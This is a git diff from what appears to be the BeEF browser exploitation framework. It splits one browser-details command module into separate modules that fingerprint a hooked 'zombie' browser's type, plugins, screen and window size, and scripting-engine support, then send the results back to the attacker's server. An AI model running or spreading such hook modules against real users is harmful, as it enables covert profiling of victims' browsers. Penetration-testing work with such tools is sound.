diff --git a/modules/commands/browser/detect_details/detect_details.js b/modules/commands/browser/detect_details/detect_details.js index 72226a156..06ce9e881 100644 --- a/modules/commands/browser/detect_details/detect_details.js +++ b/modules/commands/browser/detect_details/detect_details.js @@ -49,14 +49,8 @@ function serialize(_obj) break; } } - - var plugins = beef.browser.getPlugins(); + var browser_type = serialize(beef.browser.type()); - var java_enabled = (beef.browser.hasJava())? "Yes" : "No"; - var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No"; - var has_flash = (beef.browser.hasFlash())? "Yes" : "No"; - var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No"; - var screen_params = serialize(beef.browser.getScreenParams()); - var window_size = serialize(beef.browser.getWindowSize()); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'browser_type='+browser_type); }); diff --git a/modules/commands/browser/detect_details/detect_details.rb b/modules/commands/browser/detect_details/detect_details.rb index 5db0e9049..983b4527f 100644 --- a/modules/commands/browser/detect_details/detect_details.rb +++ b/modules/commands/browser/detect_details/detect_details.rb @@ -6,13 +6,12 @@ class Detect_details < BeEF::Command def initialize super({ - 'Name' => 'Browser Details', + 'Name' => 'Browser Type', 'Description' => %Q{ - This module will retrieve the selected zombie browser plugins, browser type - and scripting engines, plus screen dimensions.' + This module will retrieve the selected zombie browser details.' }, 'Category' => 'Browser', - 'Author' => ['wade','vo','passbe'], + 'Author' => ['wade','vo','passbe','saafan'], 'File' => __FILE__ }) @@ -27,14 +26,7 @@ class Detect_details < BeEF::Command def callback content = {} - content['Plugins'] = @datastore['plugins'] - content['Browser type'] = @datastore['browser_type'] - content['Java enabled'] = @datastore['java_enabled'] - content['VBscript enabled'] = @datastore['vbscript_enabled'] - content['Has Flash'] = @datastore['has_flash'] - content['Has Google Gears'] = @datastore['has_googlegears'] - content['Screen Parameters'] = @datastore['screen_params'] - content['Window Size'] = @datastore['window_size'] + content['Browser type'] = @datastore['browser_type'] save content #update_zombie! diff --git a/modules/commands/browser/detect_plugins/detect_plugins.js b/modules/commands/browser/detect_plugins/detect_plugins.js new file mode 100644 index 000000000..fa0ac252c --- /dev/null +++ b/modules/commands/browser/detect_plugins/detect_plugins.js @@ -0,0 +1,56 @@ +beef.execute(function() { + +function serialize(_obj) +{ + // Let Gecko browsers do this the easy way + if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined') + { + return _obj.toSource(); + } + + // Other browsers must do it the hard way + switch (typeof _obj) + { + // numbers, booleans, and functions are trivial: + // just return the object itself since its default .toString() + // gives us exactly what we want + case 'number': + case 'boolean': + case 'function': + return _obj; + break; + + // for JSON format, strings need to be wrapped in quotes + case 'string': + return '\'' + _obj + '\''; + break; + + case 'object': + var str; + if (_obj.constructor === Array || typeof _obj.callee !== 'undefined') + { + str = '['; + var i, len = _obj.length; + for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; } + str += serialize(_obj[i]) + ']'; + } + else + { + str = '{'; + var key; + for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; } + str = str.replace(/\,$/, '') + '}'; + } + return str; + break; + + default: + return 'UNKNOWN'; + break; + } +} + + var plugins = beef.browser.getPlugins(); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins); +}); diff --git a/modules/commands/browser/detect_plugins/detect_plugins.rb b/modules/commands/browser/detect_plugins/detect_plugins.rb new file mode 100644 index 000000000..252ef4a4e --- /dev/null +++ b/modules/commands/browser/detect_plugins/detect_plugins.rb @@ -0,0 +1,39 @@ +module BeEF +module Modules +module Commands + +class Detect_plugins < BeEF::Command + + def initialize + super({ + 'Name' => 'Installed Plugins', + 'Description' => %Q{ + This module will retrieve the selected zombie browser plugins.' + }, + 'Category' => 'Browser', + 'Author' => ['wade','vo','passbe','saafan'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Plugins'] = @datastore['plugins'] + + save content + #update_zombie! + end + +end + +end +end +end \ No newline at end of file diff --git a/modules/commands/browser/detect_screen_details/detect_screen_details.js b/modules/commands/browser/detect_screen_details/detect_screen_details.js new file mode 100644 index 000000000..f186614ca --- /dev/null +++ b/modules/commands/browser/detect_screen_details/detect_screen_details.js @@ -0,0 +1,57 @@ +beef.execute(function() { + +function serialize(_obj) +{ + // Let Gecko browsers do this the easy way + if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined') + { + return _obj.toSource(); + } + + // Other browsers must do it the hard way + switch (typeof _obj) + { + // numbers, booleans, and functions are trivial: + // just return the object itself since its default .toString() + // gives us exactly what we want + case 'number': + case 'boolean': + case 'function': + return _obj; + break; + + // for JSON format, strings need to be wrapped in quotes + case 'string': + return '\'' + _obj + '\''; + break; + + case 'object': + var str; + if (_obj.constructor === Array || typeof _obj.callee !== 'undefined') + { + str = '['; + var i, len = _obj.length; + for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; } + str += serialize(_obj[i]) + ']'; + } + else + { + str = '{'; + var key; + for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; } + str = str.replace(/\,$/, '') + '}'; + } + return str; + break; + + default: + return 'UNKNOWN'; + break; + } +} + + + var screen_params = serialize(beef.browser.getScreenParams()); + var window_size = serialize(beef.browser.getWindowSize()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'screen_params='+screen_params+'&window_size='+window_size); +}); diff --git a/modules/commands/browser/detect_screen_details/detect_screen_details.rb b/modules/commands/browser/detect_screen_details/detect_screen_details.rb new file mode 100644 index 000000000..b5a111b95 --- /dev/null +++ b/modules/commands/browser/detect_screen_details/detect_screen_details.rb @@ -0,0 +1,40 @@ +module BeEF +module Modules +module Commands + +class Detect_screen_details < BeEF::Command + + def initialize + super({ + 'Name' => 'Screen Details', + 'Description' => %Q{ + This module will retrieve the selected zombie screen dimensions.' + }, + 'Category' => 'Browser', + 'Author' => ['wade','vo','passbe','saafan'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Screen Parameters'] = @datastore['screen_params'] + content['Window Size'] = @datastore['window_size'] + + save content + #update_zombie! + end + +end + +end +end +end \ No newline at end of file diff --git a/modules/commands/browser/detect_scripts_support/detect_scripts_support.js b/modules/commands/browser/detect_scripts_support/detect_scripts_support.js new file mode 100644 index 000000000..d81256078 --- /dev/null +++ b/modules/commands/browser/detect_scripts_support/detect_scripts_support.js @@ -0,0 +1,60 @@ +beef.execute(function() { + +function serialize(_obj) +{ + // Let Gecko browsers do this the easy way + if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined') + { + return _obj.toSource(); + } + + // Other browsers must do it the hard way + switch (typeof _obj) + { + // numbers, booleans, and functions are trivial: + // just return the object itself since its default .toString() + // gives us exactly what we want + case 'number': + case 'boolean': + case 'function': + return _obj; + break; + + // for JSON format, strings need to be wrapped in quotes + case 'string': + return '\'' + _obj + '\''; + break; + + case 'object': + var str; + if (_obj.constructor === Array || typeof _obj.callee !== 'undefined') + { + str = '['; + var i, len = _obj.length; + for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; } + str += serialize(_obj[i]) + ']'; + } + else + { + str = '{'; + var key; + for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; } + str = str.replace(/\,$/, '') + '}'; + } + return str; + break; + + default: + return 'UNKNOWN'; + break; + } +} + + + var java_enabled = (beef.browser.hasJava())? "Yes" : "No"; + var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No"; + var has_flash = (beef.browser.hasFlash())? "Yes" : "No"; + var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No"; + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears); +}); diff --git a/modules/commands/browser/detect_scripts_support/detect_scripts_support.rb b/modules/commands/browser/detect_scripts_support/detect_scripts_support.rb new file mode 100644 index 000000000..cb748cebd --- /dev/null +++ b/modules/commands/browser/detect_scripts_support/detect_scripts_support.rb @@ -0,0 +1,42 @@ +module BeEF +module Modules +module Commands + +class Detect_scripts_support < BeEF::Command + + def initialize + super({ + 'Name' => 'Scripts Support', + 'Description' => %Q{ + This module will retrieve the selected zombie browser scripting engines.' + }, + 'Category' => 'Browser', + 'Author' => ['wade','vo','passbe','saafan'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Java enabled'] = @datastore['java_enabled'] + content['VBscript enabled'] = @datastore['vbscript_enabled'] + content['Has Flash'] = @datastore['has_flash'] + content['Has Google Gears'] = @datastore['has_googlegears'] + + save content + #update_zombie! + end + +end + +end +end +end \ No newline at end of file